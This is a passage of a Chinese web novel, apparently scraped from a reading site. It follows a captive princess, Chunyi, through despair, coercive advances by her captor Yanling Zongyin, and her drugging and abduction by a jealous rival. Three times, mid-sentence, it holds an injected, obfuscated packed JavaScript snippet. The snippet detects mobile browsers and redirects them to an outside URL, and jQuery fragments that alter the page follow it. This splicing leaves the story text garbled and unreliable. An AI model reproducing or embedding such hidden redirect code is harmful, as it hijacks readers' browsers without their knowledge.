他其实是一个很坦诚的人,也或许是他自恃强大,不屑于哄骗她:“从上京出发时有千余人,路上陆陆续续死散了一些,在到达五国城前减员两次,到达之后又有不适应气候水土的、年老染病的死了十几个。 另外,来到五国城后,他们有过两次南逃计划、一次预谋反叛,被杀了几批之后就老实了。后来又零星死了几个,剩下的……” 他朝着那个方向微微偏头:“都在这里了。” 纯懿看着那边穿着朴素、表情麻木的众人,他们正躬着腰钻在地里,动作僵硬的挖着什么。可能是因为需要自给自足还人手不够,中间甚至连皇兄都亲自挽起袖子,进田里劳作了好一会儿,而父皇整个人又黑又瘦,老了十岁似的,窝在一把简陋的木椅里,晒着难得的太阳。 纯懿曾经在临安见过农人耕种。因着水利的修建和新农具的锻造,他们就是干起活儿来也是热火朝天的,每个人的脸上都带着质朴的灿烂笑容,奔着前面的好日子去。而面前这副全员劳作的场景,却只让人觉得压抑、悲凉,当年呼黄擎苍的精气神儿荡然一空,似乎是一群行尸走肉般,见不到一点儿希望。 纯懿想笑,却扯不动唇角。想哭,也流不出眼泪。 在洗衣院中苦苦煎熬的时候,在延陵宗隽的太子府中全力周旋的时候,在南逃路上拼力支撑的时候,还有在南庆顶着骂名强硬推行改革的时候,她所惦念的,不过是在胙城遇到时,父皇说的那句话。 “只要还有一个大庆人在,我们大庆就不会亡。只要坚持,一直坚持下去,总有一天能看到我大庆夺回汴京、攻克上京的一日。” 她一直奉为圭臬,支撑着她熬过每一次艰难低谷的无上信条,原来他们早就放弃了。有骨气的和想要抵抗的,已经被杀了。没骨气的忍受屈辱活着,已经俯首称臣,不思复国。 他们不想回去了,南庆的人也不想让他们回去,最后,只有她一人将这话当了真,不惜舍弃一切,奔走呼号,不愿放过任何可能。 像个笑话。 纯懿最后看了一眼父母兄长和那些曾经熟悉的面容,逃一般转身,脚步匆匆离开了这里。 缩在马车的角落,延陵宗隐问她:“要去见他们一面吗?我可以安排。” 纯懿垂着眼眸,沉默良久,摇摇头,闭上了眼睛,似乎是累极。 延陵宗隐不置可否。他坐到纯懿身边,俯下身子,征求她的意见:“那我们回上京去?” 纯懿脸上没有一点儿表情,双眸仍然紧紧阖着,睫毛在她眼底投下一片阴影,没同意,却也没有反对。 再次来到上京城外,巍峨城墙与纯懿上次所见似乎没有什么不同,区别只在于,上次她走在俘虏的队伍里,脚步蹒跚,这次她安稳坐于马车上,看起来舒适华贵,不过是另一个牢笼。 她推开车窗,仰望着“上京”两个大字:“没想到会这样回来。” 延陵宗隐正坐在旁边,眉心微皱,一双眼睛带着凝重与沉思,在纯懿身上打转。听到她的话,他短暂沉默一会儿,才故作轻松地问:“你还想过回来?” 纯懿视线悠悠望向远方:“刚离开的时候,我想,我这辈子再也不要回来了。后来昂哥哥重伤,他昏迷的时候,我又在想,迟早有一天,我要带着大军攻入上京,把你绑到他的床前,让你下跪谢罪。” 延陵宗隐大笑出声。他靠近纯懿,凑近她耳边,灼热的呼吸喷洒在她的颈侧,暧昧地低声道:“你可以把我绑到你的床上,我绝对不反抗。” 若是之前他说出这样的话,纯懿早就恼怒瞪他,甚至上手要打他了。最不济的时候,她也会远远避开,来表示自己的不满。 而这次,纯懿却丝毫未动,甚至连眼神都没回转一下,却也并不是无视他,而是轻轻扯了扯唇角,当做回应。 仔细观察着她的延陵宗隐当然发现了她的异常。他皱了眉,生平第一次生出种无力的感觉。 自从去过了五国城,纯懿就肉眼可见地萎靡下去。她倒是每日正常吃饭,正常睡觉,也不会刻意无视延陵宗隐,可她整个人都是蔫蔫的,话也一日一日地减少,不管延陵宗隐是有意打趣逗弄,还是故意挖苦讽刺,她都是那副淡淡的模样,像是被抽走了魂,丧失了对外界的感知力似的。 延陵宗隐从来是一个做了决定就不后悔的人,现在倒是真有些后悔当时带她去五国城的决定了,暗恨自己不该一时心软,本来是想遂了她的心愿让她开心一下,这下倒好,不仅人没开心起来,反而还更奇怪了。 他正要说些什么,马车外忽然传来一道明显很惊讶的呼唤:“帝姬?” 是守门的门将发现了这辆马车,赶过来查看情况,却并没看到坐在车里的延陵宗隐,只是看到了露出一张俏丽脸庞的纯懿。 纯懿的视线缓缓转过去,在国字脸的中年男人身上停留片刻,似乎努力在脑海里搜寻着这张有些熟悉的面孔。等了一会儿,她有些缓慢地开口:“是你。” 是逃出上京那晚,给他们打开了门的守门将官。 中年男人点头,环顾四周,凑近了些纯懿,压低声音,语速极快:“帝姬怎么回来了?前段时间传闻从上京回去南庆的纯懿帝姬是假的,被那南庆皇帝当众杀了,您怎么……” 纯懿还没来及回答,延陵宗隐的身影就出现在纯懿旁边。他阴沉着一张脸,看着面前这个与纯懿私语的男人,忽然轻笑:“你果然认识她。那天晚上,你并不是被她哄骗,而是心甘情愿放她出城的,对吗?” 那男人因为见到纯懿太过惊讶而放松了警惕,完全没想到延陵宗隐竟然也在马车里。眼下被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533645|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延陵宗隐喊破当时隐情,他的面色顿时一变,忙不迭地跪下叩首:“郎主!小人……小人……” 延陵宗隐一直对纯懿的逃跑耿耿于怀,正想发作,只觉袖子一沉,纯懿两根细瘦的手指捏着他的袖角,仰脸看着他:“他是谁?为什么你会说,他是有意放我出城的?” 延陵宗隐大手干脆握住纯懿的手,将她的手掌包入掌心,视线仍盯着那国字脸男人,语气凉凉的:“你不是还用他的故事诈过延陵宗隽吗?你还夸过他情深义重呢,现在本人在你面前,你都不认得?” 纯懿又皱眉想了很久,才隐隐约约想起了这件事。她缓缓道:“那小官的女儿,你就是她的爱人?” 国字脸男人看身份已经被揭穿,没什么可隐瞒的了,便直起身来,双手交叠在胸前,对着纯懿颤声道:“多亏帝姬,小人才能知道丹朱的埋骨之地,生时没能保护她,至少死后能守她一个清净。帝姬恩德,小人没齿难忘,当时放您出城,远不能报答帝姬的万一。” 他重重叩首,额头撞在地面上,发出沉闷的声响:“既然现在帝姬回了上京,小人安武顿愿奉上身家性命,报答帝姬恩情!” 纯懿自然不会要他的身家性命。当时第一次听说他们的故事,她还很是感动唏嘘了一番,可现在,什么样感动人心的事迹,都再激不起她心中的一点儿波澜。 纯懿神情与声音一般平静,缓缓摇头道:“不必了。” 随后,就从窗边缩回了脑袋,又靠坐回软枕上出神。 延陵宗隐看纯懿这幅对什么都兴致缺缺的样子,心里火气又起,却只能憋闷着发不出去。他僵坐在窗边许久,忽然站起身来,直接就去拉纯懿。 “下车,”他冷声命令,“我们走回去。” 纯懿现在没有任何自己的意愿,她甚至都不想动脑子去思考自己喜欢什么、不喜欢什么。延陵宗隐要走回去,她便顺从地起身下了马车,然后端庄站在他身旁,一副等着他带路的样子。 延陵宗隐又是一番气闷。他抬腿就朝着城门里走,路过仍跪在旁边的安武顿时,却慷慨地施舍给了他一个眼神。 “你很好,”他淡淡道,“记得你的话。” 纯懿倒没有去看安武顿。她跟在延陵宗隐身后,与他缓步走在大街上, 街上热闹得很,人潮拥挤,摩肩擦踵,还有货郎货娘们推着小车沿街叫卖,扯着嗓子与人还价,配上街边食摊冒出的袅袅炊烟,一副繁华的人间胜景。 延陵宗隐一反喜爱安静、厌恶嘈杂的常态,带着纯懿哪里热闹往哪里走,甚至还拉着她一起挤进人群,围观了一场发生在当街的夫妻打架,试图用街市上的热烈氛围感染她几分。 可纯懿只是睁着一双无神的眼睛跟在他旁边,安静地看,安静地听,然后在需要回应时,露出一个浅浅的笑容。 延陵宗隐终于忍不住了。他知道纯懿是一个注重体面的人,不想当街与她争执,反而成了别人的热闹,脚下一拐,带着她朝上京城最好的食肆而去。两人一前一后踏上二楼台阶,路过一间虚掩着门的雅室时,一道声音忽然从里面传出来。 “……我说什么了?我不就说了那个大庆破鞋几句吗?你们倒是评评理,小爷我哪句话说错了?他延陵宗隐一头栽进那婆娘裙子里了,还不许我们说了不成?” 纯懿低垂的睫毛抖了抖。她僵木的瞳仁终于转了一圈,看向那间雅室。 89. 第 89 章 另一道声音斜插进来,打断了那人愤愤不平的控诉:“快别这样说。二太子两次率军围困庆国汴京,尤其是第一次围城的时候,庆国势强,我们围得艰难,几乎难以支撑,硬拼会伤亡不小,就算这样,二太子还是强势围城将近两月,大军不露丝毫疲色,然后又不做纠缠潇洒离去,胆大功高,哪里是我们能议论的……” “什么胆大功高,他延陵宗隐现在有官职吗?有封赏吗?这么久了,他也就是被从府里放了出来,不还是无所事事的闲人一个,就是小爷我身上还挂着一个小官衔呢,你们说怎么着,嘿,正好就比他高上一点点,见了小爷,他还得磕头喊声大人呢!” 说话的人似乎对延陵宗隐有很多怨怼,话语要多刻薄有多刻薄。 纯懿侧眼去看延陵宗隐,他面色虽然不好看,却也没有要进去大开杀戒的意思,只将一只大掌扶上纯懿后腰,稍稍使力,推着她继续向前走。 两人刚迈步,身后那人激动的声音又钻了出来:“不是说他当时第一次从汴京撤军时,在人家城墙上写了字嘛,啥天气热,凉快了再来啥的,你们都说他飒爽潇洒,小爷我看那,他当真是屈才!当时他其实应该写上,让那庆国把婆娘们都交出来,哪个床术最好,他就饶了哪个的性命,哈哈哈哈。” 这下没人应和他了,他一个人却也笑得猖狂,渐渐带上了些不怀好意的猥琐:“唉,你们说,那大庆娘们儿床术到底是有多超群?我看她长相也就那样,身材更是干巴巴的没什么料,怎么那狼崽子就那么着迷了? 小爷我真是失策,没能赶在她挂掉前试上一试,也不知道压着她狠狠来上一场是什么滋味……不过她死了也没多久,估计尸体上的肉还在,若是我去把她挖出来,也不知跟活人有多大区别啊……” 他的话被巨大的踹门声打断了。那人甚至还没来及抬头,心窝就狠狠中了一脚,整个人都飞了出去,砸到对面的酒桌上,桌板断裂,杯盘碗碟丁零当啷砸了他一头一脸。紧接着,拳脚如狂风暴雨般扑面而下,拳拳到肉,脚脚狠辣,都冲着他的要害而去,到后来,将他揍得连哀嚎声都没有了,身子不断抽搐着,眼白上翻,看起来马上就要断气了。 延陵宗隐这几日早就积攒了一肚子闷气,这人之前议论他也就罢了,骂他恨他的人不少,与这种人较劲,他反而觉得失了身份。 可这人千不该,万不该,竟然还敢用那么恶心的话羞辱纯懿。她生来就是公主,是应该受众人爱戴、万民景仰的,这纨绔竟然还敢肖想她、玷污她。 他废了那么大劲儿才将她带回来,可不是让旁人这般议论的。 延陵宗隐咬紧牙根,双目圆睁,眼底隐隐发红,整个人都像是发了狂般,似乎是铁了心要将那纨绔打死。八九个年轻男人看形势不好,一拥而上,抱的抱拽的拽,也没能阻止他疯狂的举动。 一片混乱中,一道轻柔的女声忽然在屋外响起,潺潺如溪流般清明,顿时击破了紧张的气氛:“不是要吃饭吗?我饿了。” 然后就是一阵轻轻的脚步声渐渐远去。 屋内众人只以为这是外面哪家的小娘子在对自家男人说话,也没太在意,只用尽全部心力去阻拦延陵宗隐,可却没想到,上一刻还像发狂的狮子一般的延陵宗隐竟然像是被一根无形的绳子圈住了脖颈般,竟然自己停了手。 他后退两步,胸膛剧烈起伏着,眼神阴鸷嗜血,恶狠狠盯着地上已经快要没有声息的纨绔:“你!” 只这一个字后,他对着被吓傻了的众人咧开一个阴恻恻的笑容,转身大步离开。 延陵宗隐已经走了许久,屋内众人都没反应过来。许久之后,才有人讷讷开口:“刚才……那是谁啊?” 刚才说话那人连面都没露,似乎并不在意延陵宗隐会不会听劝,只是顺嘴提一句自己的意见罢了,却竟然如此轻易就驯服了发疯的延陵宗隐。这般奇人,他们一定得寻出来好好讨好一番,不求她能给自己说几句好话,至少下次要是再被揍,也能保命啊。 大家环顾无言片刻,急忙去抬那被生生打昏厥过去的纨绔。 延陵宗隐追着纯懿进了雅室,却仍旧控制不住自己的愤怒,在屋内大步饶了两圈之后,还是忍不住直冲到纯懿面前,身上戾气四溢:“为什么不让我打死他?” 纯懿已经坐在桌边,姿态优雅地给自己斟茶了。听到延陵宗隐的质问,她还是那副平静的面容,声音里无喜无怒:“嘴长在别人身上,还能硬堵住不成?” 延陵宗隐冷笑,语带杀气:“堵不住,却可以让他再也张不开。” 纯懿摇头:“算了。” 纯懿这般不死不活、对什么都浑不在意的模样,终于让心绪还未彻底安定的延陵宗隐彻底爆发。他上前一步,弯腰逼近纯懿,一只大掌掐住她小巧的下颌,强迫她抬起头迎上他的视线:“徐露陌,不就是五国城那边死了几个人吗?你至于这样吗?” 纯懿不想解释什么,便只睁着一双平静的眸子,安静看着延陵宗隐。 延陵宗隐实在受不了纯懿这样无喜无悲的行尸走肉样子。他冷笑一声,掐着她下颌的大手一个用力,将纯懿生生从椅子上提了起来,然后低下头,大力覆上纯懿的双唇,将她两片娇嫩的唇瓣含在口中辗转研磨,甚至还不时叼弄噬咬,硬生生将她浅粉色的双唇蹂躏成艳红,留下深深浅浅的齿痕。 他是生了想要逼出纯懿丁点儿情绪的心,不管是什么,害怕、厌恶甚至憎恨都好,只要不再这样无波无澜,像个活死人,因此刻意没有收敛力道,反而故意不肯弯腰迁就她,迫着她只能努力踮着脚尖,抻长脖子,仰头承受他粗暴的吻。 纯懿没有反抗,也并不回应,甚至连双眼也依旧睁着,里面是死一般的宁静,没有一点儿波澜。 延陵宗隐恨极,他拉开些与纯懿的距离,微微喘息着看着纯懿的双眸,只在里面看到像困兽般无计可施的自己。 他磨牙,将心一横,大掌从纯懿下颌移到她的肩头,忽的狠狠一推,冷眼看着纯懿踉跄后退,后腰撞到桌子边沿,然后将右手放在自己领口处,用力一扯。 衣服被他粗暴地丢到一旁,露出麦色的肌肤和精壮的胸膛,延陵宗隐赤着上身,黑发搭在肩头,如同一只矫健的豹子,透出一种原始和野性的美感。他一双黑眸死死盯着纯懿,唇角微勾,两步就迈到纯懿面前,猛地弯腰,用自己强健的身躯压迫她,逼得她不得不向后躬身,上半身几乎平躺在了桌面上。 茶杯倾倒,茶壶的顶盖雕花硌着纯懿的后腰,有些疼。 延陵宗隐大掌探入纯懿身下,挥手就将桌面的茶壶杯碗全部扫落于地,然后在一阵“丁零当啷”声中,他紧紧贴着她柔软的身子俯身,将她整个人禁锢在自己和桌面之间,疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546408|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吻上她的脖颈和锁骨,大掌探入纯懿的衣衫,毫无顾忌的四处游弋,在她的身上留下几个小小的青紫。 这般情形下,纯懿依然眉眼不动,不反抗也不拒绝,任由延陵宗隐在她身上肆虐。甚至在屋外的黑塔和店家听到动静,走到屋外关切询问情况时,只隔着一层单薄的门板,交叠在一起的两人,一个已然动情,眼眸赤红,另一个却淡漠无觉,无动于衷。 在最后关头,延陵宗隐喘着粗气停了下来。他努力控制着沸腾的热血和濒临失控的渴望,愤恨看着乖顺躺在他身下的纯懿,猛地起身退后几步,然后转身,泄愤一般将堆在地上的衣裳尽数踹飞。 纯懿缓缓从桌面上坐起身。她安静地低头整理好自己敞开的衣襟,然后抬头,竟然还能对着延陵宗隐露出一个恬静的微笑来:“‘夏热且去,秋凉复来。’这句话原来是你写的。我们都以为是太子,还好好嘲笑了他许久。” 延陵宗隐转过身来,黑眸阴沉,双唇紧抿,胸膛剧烈起伏,“呼哧呼哧”喘着粗气。 屋内两人,一人站在窗前,一人坐在桌上,目光在虚空中交接,都没有出声。许久之后,延陵宗隐终于开口,声音沙哑,却与纯懿的话毫不相干:“你到底想怎么样?嗯?徐露陌,你到底想怎么样?” 纯懿垂眸,沉默一会儿,才重新抬起眼皮:“我没有想怎么样。我只是有些累,有些没有心情,什么都不想做。” “什么都不想做?”延陵宗隐冷嗤一声,大步上前,两只大掌铁钳一样掐住纯懿的肩膀,英俊的脸庞逼近纯懿的脸,五官都扭曲到狰狞,咬牙道,“什么都不想做,那你跟我回来做什么?爷把你带回来,不是为了看你这张死人脸的!” 在暴怒的延陵宗隐面前,纯懿还保持着镇定,她甚至微微侧头思索了一会儿,才柔声开口:“我只是忽然有些不明白,我到底一直在坚持什么。像父兄那样,逆来顺受,至少可以活着,而如果能像嘉荣姐姐那样,小意讨好,成为王妃,生下自己的子女,甚至可以活得很好,比我现在这幅狼狈样子可要好多了。” 纯懿直视着延陵宗隐深不见底的黝黑眼眸,微笑道:“不要小看我,其实我很会讨好人的。” 延陵宗隐看着面前的纯懿,她说的每一个字都清清楚楚落进了耳朵里,可他却似乎听不明白是什么意思。她的话中隐含着的他所渴盼的希望,让向来雷厉风行的延陵宗隐竟然有些怀疑自己,有些怔怔的盯着她,试图确认:“你什么意思?” 可不待纯懿回答,他便先开口,断然截住了纯懿的回答:“算了,不必说了。” 延陵宗隐放开纯懿的肩膀站起身来,转身走到散落于地的衣裳旁,弯腰将刚刚被自己踢飞的衣裳又捡了回来,默不作声的套上袖筒。就在他低着头系绳结的时候,纯懿的声音从身后传来,轻轻柔柔的,却让他的心跳骤然加快: “给我些时间,不要逼我,好吗?” 延陵宗隐双手顿在胸前。 隐秘的欢喜从心底最深处涌出,顺着奔腾的血液流遍他的四肢百骸,就是一丝丝希望,也是他之前从未能触及的。 停滞一会儿之后,延陵宗隐猛地转身,再次回到纯懿面前。这一次,他揽着纯懿双肩的动作轻柔,定定看了她许久,然后右手搭上她的脸颊,在她耳侧轻轻摩挲。 他低声许诺:“好,我给你时间。” 90. 第 90 章 延陵宗隐能看出来,纯懿真的在很努力的调整自己。 她不再关心政事,也不再变着法儿的打听外面的消息,甚至连听闻她回到上京的孟曹勋震惊无比地找上门来,纯懿也只是客客气气将他送走,还不忘叮嘱一句:“纯懿帝姬已死,孟大人以后不必再来寻我了。” 看着孟曹勋踉踉跄跄离开的背影,黑塔上前一步站到延陵宗隐身边,中气十足地提议:“郎主,我去砍了那个老头儿。” 然后又自以为很贴心地补充一句:“您放心,绝不会被徐娘子发现。” 延陵宗隐将视线从孟曹勋离开的方向收回,提步跨进纯懿住的院子:“不必了。” 走了两步,延陵宗隐又回头,看着正在挠头的黑塔沉声吩咐:“你若是闲,派人去趟南庆,催一催徐结。” 纯懿正在屋里煮茶。现在她有了全套的茶具,甚至还是产自南庆建窑的建盏,什么兔毫釉、曜变釉,南庆最时兴追捧的茶具,她这里比许多南庆世家还齐全。 见延陵宗隐来了,纯懿微笑着邀请他入座,然后继续与塞里说话:“你刚才说什么?” 自纯懿回来,当小郎主当得好好的塞里再次被延陵宗隐喊了回来,重新做了她的贴身女官。听纯懿追问了,塞里依旧板着一张脸,声调没有一点儿抑扬顿挫,将一件本来很耸人听闻的大事讲得无趣极了。 听闻那天在酒楼里议论她的那个纨绔喝多了,半夜被人拖进了小倌馆里,等被家人找到的时候,已经是衣衫尽碎、奄奄一息,甚至连腿都伸不直时,纯懿只是微微一怔,然后看向坐在一旁悠闲品茶的延陵宗隐,不赞同地摇头:“你既然已经打了他,就不必下这般重的手。” 延陵宗隐将最后一口茶抿入口中,然后一手端着杯底,将茶盏轻轻放回茶托上,动作做的有模有样,甚至可以勉强称上一句优雅。 “你说什么?”他抬眼看向纯懿,疑惑道,“什么下手,我怎么听不明白呢?” 看着睁眼说瞎话的延陵宗隐,纯懿无奈,也不再追问,只又为他盛上一勺茶汤。 因着延陵宗隐现在还是太子惨死一案的最大嫌疑人,虞娄大王还没有恢复他的官职和爵位,他也就没什么政事可忙,每日有许多的时间在纯懿眼前晃悠。 每日的三餐是必须要一起吃的,空闲时间是一定要一起做些什么的,延陵宗隐甚至还多了一个奇怪的爱好,就是用金子银子对着纯懿一顿猛砸,或者是用金子银子买了各种东西后对着纯懿猛砸,让纯懿的小院库房很快就堆满了各种各样或奇怪或没用的东西。 也不知道是延陵宗隐的凶名在外,还是他提前派人打点过,后来出门时,纯懿再没听到过什么难听的议论,反而听到了好几次旁人的夸赞。大部分时候,是在说她美如天仙,性情温婉,有时也会不无遗憾地提起,若是她能经常笑一笑,一定会更加风采夺目。 最过分的是有一次,他们议论的竟然是她应该多看看自家二太子,然后就穷极了世间所有美好词汇,将延陵宗隐从头到脚夸了个遍,每一句的落脚点,都是在她如何应该珍惜他,应该如何对他好一点云云。 纯懿听着里面尴尬又刻意的“议论”,一双眸子便看向身旁的延陵宗隐,此时无声胜有声。 在纯懿这般一言难尽的目光下,延陵宗隐轻咳一声,随手抓起旁边一串流苏,直接朝纯懿头上怼:“这个不错,好看,衬你。” 逛了一日回府,两人并肩走到纯懿的小院前,按照近些日子的默契,延陵宗隐便应该道别然后离开。 延陵宗隐最大的优点恐怕就是言出必行,既承诺了要给纯懿时间,他就再没半夜摸进她的房间,就是有时搂着她时,他的热切和渴求已经明显到纯懿甚至无法装作毫无所觉,他也用那强悍的自控力硬生生咬牙忍下,没有越雷池一步。 今日,延陵宗隐却不太想走。他有些殷切地看着她,提议:“今日东西有些多,不然我帮你送进去?” 纯懿微笑道:“塞里很厉害,她可以拿进去的。” 延陵宗隐颇有些不甘不愿地将东西递给了塞里,又东拉西扯寻了好些个理由,却都在纯懿清亮的眸子的注视下败下阵来。最后他终于失了耐心,也不耐烦再去寻什么冠冕堂皇的理由,一把将纯懿扯进怀里,双臂紧紧箍着她,火热的唇已经落在她唇上,激烈侵略着她香甜的唇舌。 纯懿乖顺昂首承受着,只在延陵宗隐终于气喘吁吁地放开她时,淡淡开口:“你说过会给我时间的。” “我在给,”延陵宗隐拇指留恋地擦拭着纯懿的唇瓣,非常理直气壮,“可我不是庙里的秃头和尚,大鱼大肉吃不得,清粥小菜总得给一些吧?” 什么清粥小菜,他火热滚烫的呼吸和跃跃欲试的身体,都在明晃晃昭示着他对她的渴望。 先是拥抱,然后是亲吻,一步一步试探,一步一步试图向前迈步,他的心思昭然若揭,不知是该说蓄谋已久,还是良苦用心。 纯懿心底却还是一片平静,像是覆了厚厚一层藻的死水。激不起一点儿波澜。 又过了几日,延陵宗隐与纯懿一起吃早饭时,久违的宫中侍从来传虞娄大王的命令,宣延陵宗隐入宫。这一去便是一天,而还没等他回来,南庆派了使者前来议和的消息已经传遍了上京,传入了纯懿耳中。 纯懿的心终于稍稍起了些涟漪。 到了晚上,延陵宗隐终于带着久违的好心情回来了。倒不是因为他因促成和谈有功而官复原职,而是因为,他等待已久、寄予厚望的南庆使臣终于到了。 一见到纯懿,他便展臂将她搂入怀里,在她唇上重重一吻,黑眸中少见地带着些愉悦:“我知道你的心结在哪里。” 他的声音是从未有过的柔和:“现在全部都解决了。虞娄与南庆和谈,两国之间不会再有战争,你不用再担心悲剧重演。露陌,一切都结束了。” 一切都结束了? 纯懿安静靠在延陵宗隐怀里,只余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556423|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲凉。 一切都结束了,那她们这些人,她们这些被迫背井离乡,目睹了无数生离死别,经历了彻骨痛楚的亡国之人,就真的成了弃子,成了代价,甚至连复仇的机会都被剥夺了。 纯懿沉默良久,最后只是点头,轻声道:“嗯。” 延陵宗隐听出了她的隐忍。他将她从怀里挖出来,黑眸定定盯着她:“你不开心?” 纯懿摇头,脸上仍带着空洞的微笑:“没有。” 巨大的希望落空之后就是巨大的失望,巨大的失望又衍生出难以抑制的愤怒。延陵宗隐眸中的喜悦渐渐褪去,重新化为一汪深潭,颊侧肌肉抽动着,两排牙齿早已紧紧咬在一起。 良久之后,延陵宗隐放开了环抱着纯懿的双臂,对着她露了个冷笑,转身摔门而去。 一连几天,延陵宗隐再也没踏入纯懿的小院,纯懿丝毫不受影响,平静地继续过她的日子。又过了几天,刚吃完午饭,纯懿正准备回房去午歇,外面忽然来了一个兵士,手里提着个篮子,恭恭敬敬对着纯懿行礼: “娘子,这是宫中赏下的点心,都是贡品,郎主让小的赶紧给您送来,您还能尝上口热乎的。” 塞里认识这人的确是延陵宗隐的亲卫,却还是很谨慎地用银针先试了毒,确认无碍,才递到纯懿面前。 纯懿看那年轻兵士眼巴巴盯着她,显然是等着她吃上一些好回去交差。纯懿也不想为难他,伸手捻起一块造型精致的糕点,一小口一小口咬着,吃了个干干净净。 然后一边擦手,一边对着他笑道:“还热着,很好吃,辛苦你……” 话还没说完,纯懿只觉突然一阵头晕目眩。她身子虚,气血不足,应对这般头晕已经很有经验,便停下手里的动作,静止不动,皱眉等着这阵晕眩过去。 可这一次,晕眩却没有好转的迹象,反而愈发严重,严重到她耳边轰鸣,眼前也全是金星,四肢更是虚软无力,甚至连硬撑着继续坐在桌边都做不到,整个人顺着椅子滑了下去,委顿于地,没了任何知觉。 再恢复意识的时候,纯懿已经身处一间暗室之中,墙壁和地面都是冰凉的,让她想到了大理寺的死牢,阴冷湿寒,没有一丝光亮。 感知渐渐回笼,察觉到手腕脚腕并没被绳索绑缚,纯懿试图移动手脚,却发现四肢还是软绵绵的,一点儿劲儿都使不上来。又试了几次,纯懿便明白了对方为什么放心将她扔在这里,也不再挣扎,安静躺在冰凉的地上,漠然听着遥遥传来的一滴一滴的水声。 不知过了多久,一道女声忽然从上方响起。 “你倒是厉害。”她的声音在暗室中回响,“二太子是什么人啊,有仇必报,你欺骗他,背叛他,害他失去一切,还试图杀他,我以为他恨透了你,一定会亲手杀了你,没想到,他竟还巴巴地将你带了回来。” 那女声笑了两下,本来很是娇媚,却骤然转为阴冷:“你会毁了他的。他下不了手杀你……我可以。” 91. 第 91 章 那姑娘停顿了一下,唇边含笑,等待着欣赏纯懿的恐惧和惊慌,等着她苦苦哀求自己绕过她的时候,再狠狠羞辱她一番。 可地上躺着的纯懿却动都不动,若不是还睁着眼睛,简直就像是还没醒来似的。 那姑娘就有些沉不住气了,厉声喝问:“我说话你听见了没?” 见纯懿还是没反应,上方一扇小小的天窗“啪”的一声被合上了。没过一会儿,沉重的石门缓缓移开,一个玲珑的身影进入暗室,刻意踩着纯懿的手走到她身边,没好气地踢她一脚:“说话!” 纯懿眼珠子缓缓上移,眯起眼睛仔细辨认了一番,才认出面前的人:“唐括姑娘。” 唐括额尔手持一柄牛皮鞭,轻“哼”了一声:“我以为帮你逃走以后,我们这辈子就不会再见了。若不是我,就凭你那情哥哥和老头子,他们能那么顺利跟你接上头吗?” 纯懿没想到,唐括额尔竟还在逃走这事上推了她一把。她缓缓道:“原来那日是你。我欠你一句谢谢。” “你不止欠我一句谢谢。”唐括额尔倨傲地昂着头,“宗隐哥杀了太子的谣言,就是你传的吧?你想让大王诏回宗隐哥,好让他没办法继续追踪你们,听闻那道喊他回去的诏书去的很是及时?你看,我又帮了你一次。” 纯懿沉默一会儿:“及时是及时,但速度比我预想的慢多了。之前我还疑惑,这么重大的消息,应该不至于那么慢才传到大王耳中,今日听你一说,我就明白了。” 纯懿身上有了些力气。她靠着墙壁费力撑起身子,抬眸看向唐括额尔,露出个浅淡的笑容来:“虽然你一直试图阻止大王听闻这个消息,但是不管怎么说,最后也是你及时把这件事告诉他的。我还是要谢谢你的。” 唐括额尔没想到纯懿这么敏锐,从她的只言片语中就推测出了真相。她终于肯正眼瞧上几眼纯懿,然后也露了个笑容出来。 “怪不得宗隐哥喜欢你,你真是一个坚韧又聪明的女人。”她用小牛皮鞭挑起纯懿的下巴,直接了当的道,“如果说按我来之前的想法,你求求我,我说不定还能帮你再逃一次,但是现在,我一定要杀了你。毕竟……” 她拍拍纯懿的脸颊,眸中透出几丝凶狠来:“得宠的女人不可怕,聪明的女人也不可怕,可像你这样,既得宠又聪明的女人,就很可怕了。” 唐括额尔直起身子,后退几步,手里皮鞭一甩,重重抽在地上,发出清脆的声响:“有什么遗言?我可以找个合适的机会告诉宗隐哥。” 又一次直面死亡,纯懿内心却依然无比平静,甚至可以算得上是悄悄松了口气。 自从她的信念被全数击碎,再没了坚持的方向,她也努力了很久,想要找到一个新的可以让她继续撑下去的理由。 她的心里一直有两个小人儿在打架。一个心灰意冷,郁郁地劝她接受现实,假装什么都不记得了,像父兄姐妹那样,在虞娄过一天就算一天,不用多久,这辈子也就过去了。可另一个却激动地质问她,那么多的血和泪,那么多的强制和压迫,成为废墟的汴京,回不去的临安,她真的能忘掉吗? 纯懿忘不掉。理想和现实的冲突,快要将她撕裂,生死对于她来说早就不甚在意。如果说今日便要遗言…… 纯懿默然想了想,轻轻开口:“如果这样,就请你转告他:世间生死最大,既然我已殒命,曾经的恩怨纠葛便一笔勾销。我不再必再想着复仇,也希望他不要拿南庆撒气。” 唐括额尔有些诧异地挑眉:“就这?” 